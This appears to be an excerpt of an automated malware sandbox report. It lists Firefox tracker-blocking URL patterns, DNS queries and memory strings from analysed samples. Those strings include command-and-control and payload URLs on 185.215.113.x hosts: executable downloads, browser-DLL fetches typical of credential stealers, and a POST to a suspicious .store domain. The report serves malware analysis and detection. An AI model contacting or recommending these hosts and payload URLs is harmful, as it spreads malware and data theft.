webcompat@mozilla.org.412316860420"https://smartblock.firefox.etp/facebook.svg"://trends.google.com/trends/embedwebcompat@mozilla.org.412316860420://s.webtrends.com/js/webtrends.min.js"://cdn.branch.io/branch-latest.min.js""://auth.9c9media.ca/auth/main.js""://static.chartbeat.com/js/chartbeat_video.js""://static.criteo.net/js/ld/publishertag.js""://.imgur.com/js/vendor..bundle.js""://static.chartbeat.com/js/chartbeat.js""://.imgur.io/js/vendor..bundle.js"://www.google-analytics.com/gtm/js*://cdn.adsafeprotected.com/iasPET.1.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://www.google-analytics.com/analytics.js*://cdn.optimizely.com/public/.js://js.maxmind.com/js/apis/geoip2//geoip2.js://www.googletagservices.com/tag/js/gpt.js://adservex.media.net/videoAds.js"://www.everestjs.net/static/st.v3.js"://imasdk.googleapis.com/js/sdkloader/ima3.js://s.webtrends.com/js/webtrends.js"://pub.doubleverify.com/signals/pub.js""://c.amazon-adsystem.com/aax2/apstag.js""://www.rva311.com/static/js/main..chunk.js"://www.googletagmanager.com/gtm.js://pagead2.googlesyndication.com/tag/js/gpt.js://static.adsafeprotected.com/iasPET.1.js://s.webtrends.com/js/advancedLinkTracking.js://connect.facebook.net//all.js://www.google-analytics.com/plugins/ua/ec.js://.vidible.tv//vidible-min.jswebcompat@mozilla.org.412316860420://.moatads.com//moatheader.js"://libs.coremetrics.com/eluminate.js""://www.google-analytics.com/gtm/js""://connect.facebook.net//sdk.js""://connect.facebook.net//all.js""://www.googletagmanager.com/gtm.js""://www.google-analytics.com/plugins/ua/ec.js""://www.google-analytics.com/analytics.js""://imasdk.googleapis.com/js/sdkloader/ima3.js""://www.googletagservices.com/tag/js/gpt.js""://cdn.adsafeprotected.com/iasPET.1.js""://static.adsafeprotected.com/iasPET.1.js""*://adservex.media.net/videoAds.j
Source: firefox.exe, 00000020.00000003.2821731492.00000253ED08C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3323867690.00000253EE131000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3323867690.00000253EE187000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3309604059.00000253ECCD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2822643296.00000253ECCEE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2822643296.00000253ECCD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: wasni.care
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 00000020.00000002.2956394320.00000253DC76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2896697038.00000253F03A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 24da741fb6.exe, 0000000B.00000003.2799995147.00000000011B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: 24da741fb6.exe, 0000000B.00000003.2799995147.00000000011B6000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2800223657.0000000001171000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 24da741fb6.exe, 0000000B.00000003.2799995147.00000000011B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeU
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe203f60e481.exe
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 24da741fb6.exe, 0000000B.00000003.2800223657.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php)
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2o
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php9
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBQ
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.0000000000724000.00000040.00000001.01000000.0000000D.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpUser
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpZoq
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpc
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpe
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpinit.exe
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.0000000000724000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpser
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/f54b7a7b09c68fae5469ce8eed82f89tension
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001693000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll&Mv
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll68fae5469ce8eed82f89tension
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllDatavbnData
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllRNB
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dlla
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dlladf523b719729.php
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllnM
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/ge
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/hpe
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/hper
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001693000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll68fae5469ce8eed82f89l
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllNN
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dlla
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllaBrowserMetrics
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dlldN
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllvN
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll-
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.00000000006F6000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll8fae5469ce8eed82f89CookiesCookies4170464094982
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllR
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll_s.
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllas
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dlldf523b719729.php
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllData
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllata
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/owser
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.0000000000724000.00000040.00000001.01000000.0000000D.sdmp, 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllvbnData
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/ware
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/wareer
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/aqH
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.2066c4adf523b719729.phper
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206746f34465cf17784/sqlite3.dllm-data;
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206Roaming
Source: 0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206e9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2934737174.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3346001
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php95d7
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpG
